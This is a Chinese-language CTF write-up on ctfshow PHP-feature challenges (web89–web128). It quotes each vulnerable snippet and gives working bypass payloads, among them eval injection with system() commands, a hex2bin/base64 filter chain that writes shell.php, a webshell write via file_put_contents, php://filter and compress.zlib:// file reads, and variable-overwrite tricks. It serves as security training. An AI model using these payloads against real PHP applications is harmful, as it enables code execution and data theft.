php特性(持续更新)

web89

1
2
3
4
5
6
7
8
9
10
11
12
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}

打开环境,发现检查url参数是否被设置,然后进入到判断条件的代码

然后preg_match是一个函数,用来执行一个正则表达式的匹配操作,在这个代码中是检测是否有0~9的数字

再下面一个函数intval函数是将一个变量转换为整数类型,如果遇到字符串就会转化为0

那问题来了我们该如何构造payload呢,

由于preg_match无法直接匹配数字(他只接受字符串或可被转换为字符串的值),所以他会返回false

接着传入intval函数时,由于传入的是数组,会直接将数组转化为1,并触发 E_NOTICE 错误(不过这不影响返回值)

所以我们构造payload

1
?num=num[]=75757

![e83fea4c13c1dfe21c7e8efd341acf7d](C:\Users\JJ200\Documents\Tencent Files\2937854700\nt_qq\nt_data\Pic\2025-03\Ori\e83fea4c13c1dfe21c7e8efd341acf7d.png)

web90

打开源码

1
2
3
4
5
6
7
8
9
10
11
12
13
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}

发现过滤了4476,但是又要我们经过intval函数时得到的是4476,那这时我们就可以用4476的16进制,8进制或者加个小数,后面取整也是4476,但是又不完全等于4476

![92eeb8dfe92f5046b5f058bbc0f3dd33](C:\Users\JJ200\Documents\Tencent Files\2937854700\nt_qq\nt_data\Pic\2025-03\Ori\92eeb8dfe92f5046b5f058bbc0f3dd33.png)

web91

1
2
3
4
5
6
7
8
9
10
11
12
13
14
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}

这两个if条件大致看起来是一样的,但是第一个条件他多加了一个参数m也就有了漏洞的出现

^ 会匹配每一行的开头,而不仅仅是整个字符串的开始

$:表示 匹配字符串的结束

当你在正则表达式使用/m标志时,匹配的行为发生了一些变化

^ 会匹配每一行的开头,而不仅仅是整个字符串的开始

$ 会匹配每一行的结尾,而不仅仅是整个字符串的结尾

也就是说多行模式会使得正则在遇到换行符(\n)时,按行来进行匹配

那说明在第一个条件下,我们去用个换行符,然后用一行来满足php条件即可

但是在url中,\n和其他一些控制字符并不是合法的 URL 字符,所以我们将\n进行url编码得到

%0a,于是我们构造payload

1
cmd=ll%0aphp

![663cad6b4141a0f719444ddbd666661f](C:\Users\JJ200\Documents\Tencent Files\2937854700\nt_qq\nt_data\Pic\2025-03\Ori\663cad6b4141a0f719444ddbd666661f.png)

web93

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

这题多加了个正则匹配来查询大小写字母,这样的话我们就不能用16进制了,我们就可以用8进制或者数字

1
num=4476.10  或者用010574

image-20250328092021591

web94

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

strpos() 是 PHP 中的一个字符串查找函数,它用于在 字符串 $num 中查找 子字符串 "0" 第一次出现的位置

在这题中前面加了个非(!),所以我们的八进制就用不了了,因为他的0在第一位所以返回的是0,但是我们的小数点还是可以用的

1
num=4476.20

image-20250328093119824

web95

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

发现这次还过滤了.号,那咋办呢,突然想起前面那时候查找intval函数时 “+”,“-” 和空格号 是会解析成无的

因此我们可以构造payload

1
num= 010574      +010574

image-20250328151323512

web96

1
2
3
4
5
6
7
8
9
highlight_file(__FILE__);

if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}

发现只是禁了个flag.php,那我们就有很多方法来做了

1
2
3
直接访问   u=/var/www/html/flag.php
或者用相对路径下访问 u=./flag.php
也可以用 u=php://filter/convert.base64-encode/resource=flag.php(之后再介绍)

image-20250328152332873

web97

1
2
3
4
5
6
7
8
9
10
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

代码逻辑是post传入的两个值要不同但是md5的值要相同,这时就可以利用md5函数的漏洞,传入数组时会返回NULL;于是构造payload

1
a[]=9&b[]=8;

image-20250330102241164

web98

1
2
3
4
5
6
7
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

先代码分析一波,是三目运算符

第一句:如果传入get参数,则get参数变成post的参数

第二句:如果get的flag参数等于字符串”flag”,那么get的参数变成cookie的参数

第三句:如果get的flag参数等于字符串”flag”,那么get的参数变成server的参数。

第四句:如果get传入HTTP_FLAG参数的值是字符串”flag”,那么高亮显示$flag变量对应的文件,否则就是当前文件

你get传参的话,get的参数会因为引用的关系,是同一地址,就被覆盖掉了

因此我们只要随便get一个值,然后post传入HTTP_FLAG=flag 就可以成功了

因此我们构造payload

1
2
get url+?xxx=a
post HTTP_FLAG=flag

image-20250330163810117

web99

1
2
3
4
5
6
7
8
9
10
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}

?>

这题的考点应该是in_array() 函数特性:第三个参数没有设置的时候,为弱类型比较

file_put_contents() 是 PHP 用来写入文件的函数,它可以将字符串内容写入到指定的文件中

array_push() 是 PHP 中用于向数组末尾添加一个或多个元素的函数

in_array() 是 PHP 中用于检查某个值是否存在于数组中的函数

0x36d也就是887 然后会循环851次,用伪随机数来生成并存入数组中,由于file_put_contents函数是写入文件的,所以我们get传参的时候,需要传入一个php的文件,数字就从1到887取一个就好,不过1到36的几率肯定是最大的,我们可以传入一个木马

image-20250331112358318

然后在1.php文件中来执行命令

image-20250331112439340

image-20250331112459968

最后查看源码得到flag

当然我们也可以用第2种,在传入的php文件中直接用执行命令

image-20250331111954340

image-20250331112136812

image-20250331112150680

web100

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>

这题的考点是逻辑运算符的优先级:”&&” > “||” > “=” > “and”,等号的优先级高于and,所以v0只跟v1有关系,v2和v3是干扰

然后就很容易满足条件了,我自己的payload的是这个

1
?v1=1&v2=system&v3=;system('cat ctfshow.php');

然后查看源代码就可以了

然后看了官方给的payload是

1
?v1=1&v2=var_dump($ctfshow)/*&v3=*/;

var_dump() 是 PHP 中的一个内置函数,用于 显示变量的详细信息,包括变量的类型和内容。它通常用于调试,以便开发人员了解变量的具体结构,然后把v3注释掉只留一个;

image-20250331125323553

web102

1
2
3
4
5
6
7
8
9
10
11
12
13
14
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}

下介绍一下函数

substr() 是 PHP 中的一个字符串函数,用来截取字符串中的一部分

1
substr(string $string, int $start, ?int $length = null): string

例子

1
2
3
4
substr("abcdef", 0, 3);   // 输出 "abc"
substr("abcdef", 2); // 输出 "cdef"
substr("abcdef", -2); // 输出 "ef"(倒数第二个开始)
substr("abcdef", -3, 2); // 输出 "de"

call_user_func() 是 PHP 的一个函数,用来动态调用另一个函数或类的方法

1
mixed call_user_func(callable $function, mixed ...$args)

$function:你想调用的函数名(字符串形式、数组形式都可以)

$args:传给那个函数的参数

file_put_contents() 是 PHP 中用于写入文件内容的函数

1
file_put_contents("hello.txt", "Hello, world!");

这个代码会把 Hello, world! 写入 hello.txt,如果这个文件之前存在,它原来的内容就会被覆盖

由于=号的优先性大于and符号,所以我们要保证v2必须是数字,嘻嘻不会写了于是看wp

由于v3要是文件,但是你如果直接用php代码的话肯定是不行的,因为v2要求的就是数字,所以我们v3的内容是利用伪协议写入,编码形式采取base64,然后函数的话我们调用hex2bin函数,将16进制转化为字符

科学计数e是唯一可以在is_numeric中不会影响判断数字的字符。所以可选字符只有0-9和e,先测试一个开头<?php(PD9waHAg)和<?= (PD89)均是可以的

测试了几个命令执行的函数均不能在限定字符内实现,但是还有一个反撇号。单独只使用反撇号的话,<?php不能用,只能使用短标签。就是说

1
2
#下面这个是不会在页面输出结果的。
<?php `cat *`

所以我们就要运用到短标签了,短标签<?=是echo() 的快捷用法,所以它会把结果输出出来

image-20250404202518180

这就也试过 cat f*的,但是回显不出来,所以我们干脆cat全部的

然后由于截取字符串函数,所以我们在前面随便加两个数字就可以了,因此我们终于可以构造payload了

1
2
get v2=115044383959474e6864434171594473&v3=php://filter/convert.base64-decode/resource=shell.php
post v1=hex2bin

image-20250404203536154

web103

web104

1
2
3
4
5
6
7
8
9
10
11
12
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}

?>

发现是最弱的比较,直接传数组即可,传相同的也可以

image-20250404192314758

web105

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);

?>

这个代码foreach($_GET as $key => $value)

$_GET 是 PHP 内置的一个 超全局数组,用来接收 URL 中 ?xxx=yyy 的参数。

foreach($_GET as $key => $value) 就是把这些参数一一取出来。

$key 是参数名,$value 是参数值

比如传入name=alice&age=20

则得到$key=name $value = alice

然后这题的考点是变量覆盖

1
2
3
4
$a='b';$c='d';
$b=1;$d=0;
echo $$a; #输出1,就是$$a->$b->1
echo $$c; #输出0

然后这里说post flag的值等于$flag(也就是我们需要flag{}),但是如果你直接传的话肯定会因为变量覆盖而改变掉

所以这个postflag的条件根本上过不了,所以我们尝试让$suces或者$error存放flag值,这样就算没过这个条件,输出error,因为此时的error已经被修改成flag的值

所以我们构造payload

1
2
get suces=flag
post error=suces

代码流程

$suces=$flag 所以这时候suces就等于我们要的flag的值flag{},然后post传完 $error=$suces 所以error的值就变为flag了

image-20250404185624754

web106

1
2
3
4
5
6
7
8
9
10
11
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
?>

这只是一个弱比较,只需传入两个加密后是0e开头的或者用数组就可以了

1
2
get  v2[]=1
post v1[]=2

image-20250404181306015

web107

1
2
3
4
5
6
7
8
9
10
11
12
13
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
?>

parse_str() 是 PHP 中的一个函数,用来解析 URL 查询字符串,并把里面的参数转成变量,或者赋值到数组中

例子

1
2
3
4
$query = "x=100&y=abc";
parse_str($query, $output);

print_r($output);
1
2
3
4
5
Array
(
[x] => 100
[y] => abc
)

$v2[‘flag’]就是从数组 $v2 中取出键名为 'flag' 的对应值

然后md5加密之后如果是0e开头就会被解析为0,所以我们只需要讲v2对应的flag的值也为0就可以了,由于上面函数的特性可知,我们讲v1传进去flag=0则就成功了,所以我们构造payload

1
2
get v3=aabg7XSs
post v1=flag=0

image-20250404180016904

web108

1
2
3
4
5
6
7
8
9
10
11
12
13
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
?>

ereg函数存在NULL截断漏洞,可以绕过正则过滤,使用%00截断,erge在后面的版本中被抛弃了

strrev() 是 PHP 的一个字符串函数,用来 将字符串反转

0x36d的10进制是877,所以我们构造payload

1
c=b%00778

image-20250404174918789

web109

1
2
3
4
5
6
7
8
9
10
11
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
?>

因为有个echo,v1又要是类,所以我们得找到满足有_tostring魔术方法的,这里我们找到ReflectionClass之前用过的这个类,虽然这个类在这里没起什么作用

这里也就解释了我们v2后面的括号并不影响,因为PHP先运行我们传入的v2函数,然后将返回值作为我们后面括号的函数变量名进行再次调用,这里失败了也无所谓,因为我们的v2函数执行了即可

于是我们构造payload

1
?v1=ReflectionClass&v2=system(ls)

image-20250404173432242

之后才cat这个文件就好啦,或者直接访问也可以

image-20250404173521119

web110

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}

eval("echo new $v1($v2());");

}

?>

这题发现过滤了很多东西,就不能上上个代码那么使用了

由于我们知道v1是要传入一个类,v2是一个函数,然后v2是他的参数,又因为有echo,所以我们需要那个类实现了_tostring魔术方法,于是我查找了一些类和函数,这里顺便介绍一下

getcwd() 是 PHP 中的一个内置函数,它的作用是 获取当前工作目录(Current Working Directory, CWD)

string getcwd ( void )
返回值:返回当前的工作目录(即 PHP 代码运行时的默认目录

所以我们可以用这个函数,得到当前路径,然后传入这个v1这个类中的构造函数

DirectoryIterator 类简介

DirectoryIterator 是 PHP 标准库(SPL,Standard PHP Library)提供的一个 目录迭代器,用于遍历文件系统中的目录。它允许你像操作数组一样遍历目录中的文件和子目录,并获取它们的详细信息

这么一看这个类好像可以呀,又有魔术方法,作用也是列出目录文件,但是当我传上去的时候返回的是.. ,那这是为啥呢,因为DirectoryIterator 默认包含 ...,需要手动跳过它们

这个双点代买的是父级目录,然后这个单点代表的是当前目录

FilesystemIterator 是 PHP 内置的一个类,用于遍历目录中的文件和子目录,是 DirectoryIterator 的增强版

自动跳过 ...(不像 DirectoryIteratorFilesystemIterator 默认不会列出 ...

所以我们这题的payload可以用这个类,在看看下面几个类

SplFileInfo 是 PHP 标准库(SPL)中的一个类,用于获取文件和目录的信息
它提供的方法可以用于获取文件的路径、扩展名、大小、修改时间等

GlobIterator 是 PHP SPL(Standard PHP Library,标准库)中的一个类,用于匹配和遍历文件系统中的文件,类似于 glob() 函数,但它返回的是一个迭代器,更适合在面向对象的代码中使用

但是我构造这个payload时,发现只返回了html,于是就去搜了一下

1
?v1=GlobIterator&v2=getcwd

由于 getcwd() 返回的是 /var/www/html,而 GlobIterator 使用这个路径作为 glob 模式只匹配到这一项,且当输出该匹配项时,通过 SplFileInfo__toString() 方法得到的就是路径的最后部分 html。因此 payload 返回 html

又搜了一下函数

glob() 是 PHP 内置的文件系统函数,用于查找与指定模式匹配的文件和目录。它使用通配符进行匹配,类似于 Linux 的 ls 命令,因为有正则匹配的限制,所以他这里用不了

所以我们最终构造payload

1
?v1=FilesystemIterator&v2=getcwd

image-20250404171557123

然后其实csd这个地方总结的挺好的,可以去看他的博客php内置类信息泄露 | 达达

然后再访问这个文件得到flag

image-20250404171901481

web111

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}

if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}

发现v1要求是包含ctfshow的字符串,然后还过滤了很多字符,导致不能用到命令执行的函数然后getflag的方法中用到了变量覆盖,然后我就想着构造一下payload

1
v1=ctfshow&v2=flag

结果返回的是NULL

image-20250405113731573

然后去搜了一下得知因为 $flag 在自定义函数 getFlag 函数中没有定义,$flag 是属于 flag.php 中的变量,对于 getFlag 来说是外部变量,不能直接使用

因此这里使用超全局变量 $GLOBALS,$GLOBALS 是PHP的一个超级全局变量组,包含了全部变量的全局组合数组,变量的名字就是数组的键

$GLOBALS 就像是 PHP 所有变量的“总词典”,用它你可以在任何地方获取当前脚本中定义的全局变量

如果你直接使用GLOBALS就会以数组的方式全部显示出来,因此我们构造payload

1
v1=ctfshow&v2=GLOBALS

image-20250405114216763

web112

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
<?php

先介绍一下函数 is_file($file)这是 PHP 的一个内置函数:

判断某个路径是否是一个“存在的常规文件

由于前面加了一个非,所以我们不能直接去读取文件,所以我们可以用伪协议,然后发现filter函数又过滤了一些过滤器,和路径穿越,所以我们伪协议就不用read和write过滤器了,直接读取flag

1
file=php://filter/resource=flag.php

image-20250405122226810

web113

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

把filter也过滤掉了,那现在来讲一下zip伪协议

包含三个部分zip://, bzip2://, zlib://协议

zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名

zlib://协议

compress.zlib://file.gz

简单来说,就是可以让你像操作文件一样操作 .gz 或者 zlib 压缩格式的内容

但是他的容错性比较高,即使环境中数据未压缩,也能读取出内容

bzip2://协议

compress.bzip2://file.bz2

允许你读取或写入经过 bzip2 压缩的数据流

这个包装器严格要求目标文件必须是 bzip2 压缩格式,否则解压会失败或返回错误

zip://协议

zip://archive.zip#dir/file.txt

zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

所以我们这时就可以用zlib://来构造payload 即使数据没有经过压缩也没关系

1
file=compress.zlib://flag.php

image-20250405171919867

然后还有一种方法,看的wp

利用函数所能处理的长度限制进行目录溢出: 原理:/proc/self/root代表根目录,进行目录溢出,超过is_file能处理的最大长度就不认为是个文件了。 payload:

1
file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/ self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se lf/root/proc/self/root/var/www/html/flag.php

web114

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

这过滤了一些112的非预期的https://blog.csdn.net/Myon5/article/details/140434543可以看下这里

直接用112的payload

1
file=php://filter/resource=flag.php

image-20250405173958777

web115

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";

先介绍一下函数

str_replace 是 PHP 的一个内置函数,用于替换字符串中的子串。它可以查找一个字符串中的某个部分,并用另一个字符串替换它

1
str_replace($search, $replace, $subject, &$count)

$search:要查找的内容,可以是字符串或字符串数组。

$replace:替换成的内容,可以是字符串或字符串数组。

$subject:要进行替换的原始字符串或字符串数组。

$count(可选):用于返回替换发生的次数

trim 是 PHP 中的一个内置函数,用于去除字符串开头和结尾的空白字符(或其他字符)。这个函数常用于清理用户输入的数据,去除不必要的空格、换行符、制表符等

这样就导致我们知道的空格点啥的都用不了,首先第一个条件是必须要是数字

然后第2个这里的逻辑符号是!==,是严格的比较运算符,需要类型和数值都相等

如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行。此规则也适用于 switch 语句。当用 === 或 !== 进行比较时则不进行类型转换,因为此时类型和数值都要比对

所以其实第2个和第三个条件也挺好过的,本来第一个条件就要求是数字,如果是数字那就不是字符串,那么类型就不相等,也就满足第2个和第三个条件

第4个条件那些啥的都不能用,不会了嘻嘻,wp说是用%0c,然后去搜了一下

%0c(换页符,Form Feed)在 URL 编码中是一个不可见的字符,用于绕过过滤器、清理和字符检查。它可能在一些特定的过滤机制中作为绕过方式被使用,尤其是当过滤器只处理常见的空格、换行符或特定字符时

所以这个也不会被trim函数检测掉,因此我们构造payload

1
num=%0c36

image-20250405182008758

web123

1
2
3
4
5
6
7
8
9
10
11
12
13
14
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>

这里要求不能出现fl0g的get参数,然后$fl0g等于flag_give_me满足条件就可以了

然后c这个参数过滤了一些一些基本的命令参数,然后eval来执行c这个php代码

其实我们这里可以直接输出flag

然后由于在php中变量名只有数字字母下划线,所以这这个CTF_SHOW.COM我们是构造不出来的,然后去网上搜了一下,如果含有空格、+、[则会被转化为_,所以构造payload

1
CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag

然后看了一下wp,考点在这个代码上$a=$_SERVER[‘argv’];

这是一个数组,通常用于命令行模式下运行 PHP 脚本时保存传入的命令行参数

例如,在命令行中运行 php script.php arg1 arg2,那么 $_SERVER['argv'] 数组的内容通常是:

1
2
3
4
5
6
Array
(
[0] => "script.php" // 脚本名
[1] => "arg1" // 第一个参数
[2] => "arg2" // 第二个参数
)

在网页模式下(通过浏览器访问 PHP 脚本),$_SERVER[‘argv’] 通常不包含有用的信息,因为网页请求没有命令行参数。然而,有时服务器配置会将查询字符串或其他信息填充到 $_SERVER[‘argv’] 中

然后又看了这个函数parse_str

parse_str 是 PHP 的一个内置函数,用于解析 URL 查询字符串,并将其中的变量赋值到当前作用域或作为关联数组返回

他有两个语法,可以直接赋值到变量

1
parse_str(string $string);

还有一个就是解析到数组中去

1
parse_str(string $string, array &$result);

这个result就是这个数组,会将$string的内容,放到数组中去

通过加号 + 分割 argv 成多个部分,也是为了得到 fl0g=flag_give_me ,其中 parse_str() 函数用来把查询字符串解析到变量中

当我们传入?a=1+fl0g=flag_give_me时 这时的a[1]就是 fl0g=flag_give_me,然后我们再直接赋值到变量就可以满足条件了,因此构造payload

1
2
get a=2+fl0g=flag_give_me
post CTF_SHOW=1&CTF[SHOW.COM=1&fun=parse_str($a[1])

image-20250405231400117

web125

1
2
3
4
5
6
7
8
9
10
11
12
13
14
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>

发现过滤了上个的非预期,原来还有var_dump GLOBALS这个也可以

然后居然还有其他的非预期也是够离谱了

可以看看这里哈哈哈ctfshow-web入门-php特性(web123、web125、web126)_ctfshow web123-CSDN博客

输出内容函数大多被限制了,但是highlight_file肯定没有被限制,当前页面就用到了,所以用highlight_file高亮显示。限制了长度,那么可以考虑get再传参

用highlight_file()利用GET把fun要显示的文件变为由shell GET到的文件

1
2
get a=flag.php
post CTF_SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_GET[a])

image-20250405232955071

我们可以继续上题的原payload

1
2
get a=2+fl0g=flag_give_me
post CTF_SHOW=1&CTF[SHOW.COM=1&fun=parse_str($a[1])

web126

1
2
3
4
5
6
7
8
9
10
11
12
13
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}

又把上个的过掉了

所以我们用原来的预期就可以了

1
2
get a=2+fl0g=flag_give_me
post CTF_SHOW=1&CTF[SHOW.COM=1&fun=parse_str($a[1])

web127

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}
if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}
if($ctf_show==='ilove36d'){
echo $flag;
}

看到不认识的函数

extract() 是 PHP 中的一个函数,用来将关联数组的键名作为变量名,键值作为变量值,导入到当前的符号表中

1
2
3
4
5
6
7
8
9
$arr = array(
"name" => "Alice",
"age" => 20
);

extract($arr);

echo $name; // 输出 Alice
echo $age; // 输出 20

用变量覆盖就行,这里_被正则了,由于web123,可知如果含有空格、+、[则会被转化为__,由于[和+号都被过滤了,所以我们用空格

1
ctf show=ilove36d

image-20250406001321745

web128

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
